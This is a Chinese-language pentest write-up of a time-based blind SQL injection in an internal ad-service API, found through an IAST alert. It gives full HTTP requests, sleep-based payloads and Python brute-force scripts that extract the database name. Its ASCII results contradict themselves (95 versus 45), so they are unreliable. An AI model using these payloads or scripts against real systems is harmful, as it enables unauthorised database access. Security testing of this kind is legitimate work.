从SQL注入延时盲注到Get Database
0x01 由一条告警引发
一、IAST发现告警
执行的SQL语句
SELECT COUNT(1) FROM t_ad WHERE (a`openrasp = ? AND delete_flag = ? AND ad_id <> ?)
完整Header信息
accept: */*
accept-encoding: gzip, deflate
appsource: 4
connection: keep-alive
content-length: 132
content-type: application/json;charset=UTF-8
countrycode: NG
host: 172.29.68.103:18129
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d
user-agent: Java/1.8.0_251
x-b3-parentspanid: 154c092e7e6195b1
x-b3-sampled: 0
x-b3-spanid: d30b9335df6a2b00
x-b3-traceid: 154c092e7e6195b1
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
x-span-name: http:/api/ad/fieldIsExist
请求Body
HTTP Request:
POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: 154c092e7e6195b1
x-span-name: http:/api/ad/fieldIsExist
countrycode: NG
x-b3-sampled: 0
accept: */*
x-b3-spanid: d30b9335df6a2b00
x-b3-traceid: 154c092e7e6195b1
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d
{"field": "a`openrasp", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null}
响应包
HTTP Response:
HTTP Code:200
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: fe3ecf80f53a40bc9d2d91f4b00ad84d
Transfer-Encoding: chunked
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Wed, 30 Jun 2021 09:43:55 GMT
{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}
二、Burp Repeater
将请求包丢入到Burp的Repeater进行重放测试
关键字openrasp
所在的位置为可能存在注入的地方
尝试将openrasp
字样删除 结果还是返回An unknown error occurred in the ad-center service
1、手工Fuzz确认漏洞
将a
后面跟上'
--报错
此时的SQL语句大概为
SELECT COUNT(1) FROM t_ad WHERE (a' = ? AND delete_flag = ? AND ad_id <> ?)
将a
后面跟上and 1=1--
—– 报错
SELECT COUNT(1) FROM t_ad WHERE (a' AND 1=1 -- = ? AND delete_flag = ? AND ad_id <> ?)
将a
修改为数字1
—– 成功
SELECT COUNT(1) FROM t_ad WHERE (1 = ? AND delete_flag = ? AND ad_id <> ?)
直接尝试select version()
—— 成功
SELECT COUNT(1) FROM t_ad WHERE (select version() = ? AND delete_flag = ? AND ad_id <> ?)
返回包显示Success,猜测可能语句执行成功,但是没有返回点,故此通过sleep(3)
来进行判断
可以看到burp提示了3秒钟,尝试修改为5秒
确认存在SQL注入
Payload
select version() union select sleep(5)
SELECT COUNT(1) FROM t_ad WHERE (select version() union select sleep(5) = ? AND delete_flag = ? AND ad_id <> ?)
Payload Request
POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: 154c092e7e6195b1
x-span-name: http:/api/ad/fieldIsExist
countrycode: NG
x-b3-sampled: 0
accept: */*
x-b3-spanid: d30b9335df6a2b00
x-b3-traceid: 154c092e7e6195b1
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d
Content-Length: 162
{"field": "select version() union select sleep(5)", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null}
Payload Response(return time 3)
HTTP/1.1 200 OK
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: 92950d5328554e1dbc5819f54fb976a7
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Thu, 01 Jul 2021 06:53:40 GMT
Content-Length: 92
{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}
三、Python Fuzz
1、获取数据库名长度
原理就是通过传入一个数值,通过if语句来判断length(database())是否等于,如果等于就sleep(5)秒,否则返回
Tips:该接口有个比较奇怪的问题,如果该长度等于数据库长度,那么正常会先sleep(5)秒,再返回,但是在该接口中,并不会返回,会一直卡着,比如循环跑到13的时候卡住了,没有输出14的payload那么很有可能数据库的长度就是14
该问题,后续所有Fuzz都会遇到,只需要手工取出来,然后加1即可
Payload
if (length(database())=14,sleep(5),0)
跑到这里的时候卡住了,那么只需要取值14即可,如何判断这个长度是14呢,将payload导入到burp中重放就可以了
长度为13的时候返回非常的快,长度14的时候返回非常慢,故此可以判断数据库名的长度为14
1-1、Payload Json
{
"field": "if (length(database())=14,sleep(5),0)",
"value": "TESTAPPAD01",
"adId": "13CD98DA973B443D8B1E80AD44BBA409"
}{
"field": "if (length(database())=14,sleep(5),0)",
"value": "TESTAPPAD01",
"adId": "13CD98DA973B443D8B1E80AD44BBA409"
}
1-2、Poc
def getDataBasesLengthSqlFuzz():
for Count in range(1, 100):
data = {
"field": "if (length(database())={},sleep(5),0)".format(Count),
"value": "TESTAPPAD01",
"applicationId": None,
"adId": "13CD98DA973B443D8B1E80AD44BBA409",
"platform": None
}
result = requests.post(url=url, headers=headers, data=json.dumps(data))
print(result.json())
print(json.dumps(data))
print('=' * 100)
2、获取数据库名
原理是使用substr取database的每一位字符转成ascii与1-128进行比较,然后返回一个ascii,再进行转换就可以得到一个字符,最后将14个字符拼接起来就是数据库名
ps:这里传入的长度只能用手工来传入,例如要跑数据库名的第一个字符的值是多少,就需要传入1,第二个就需要传入2,以此类推直到14,不可以使用循环,如果使用循环,程序会卡住,问题跟上文一样,并且每一次循环获取到的值都需要加1
Payload
if (ascii(substr(database(),{xxx},1))={xxx}, sleep(3), 0)
第一个字符 97
第二个字符 100
第三个字符 95
第四个字符 99
第五个字符 101
第六个字符 110
第七个字符 116
第八个字符 101
第九个字符 114
第十个字符 95
第十一个字符 100
第十二个字符 97
第十三个字符 116
第十四个字符 97
为了确认长度是否是14,再跑一次长度15
程序直接跑完了,并没有卡住,很显然,长度为14
ASCII字符:97 100 45 99 101 110 116 101 114 45 100 97 116 97
转换为字符:a d - c e n t e r - d a t a
数据库名为:ad-center-data
Pyaload Json
def getDataBaseNameSqlFuzz(length):
for j in range(1, 128):
data = {
"field": "if (ascii(substr(database(),{},1))={}, sleep(3), 0)".format(length, j),
"value": "TESTAPPAD01",
"applicationId": None,
"adId": "13CD98DA973B443D8B1E80AD44BBA409",
"platform": None
}
result = requests.post(url=url, headers=headers, data=json.dumps(data))
print(json.dumps(data))
print(result.json())
print('=' * 100)
测试环境突然更新,暂时无法继续获取表
From:https://uzzju.com/?id=39
往期推荐 ●●
// 1
// 2
// 3
// 4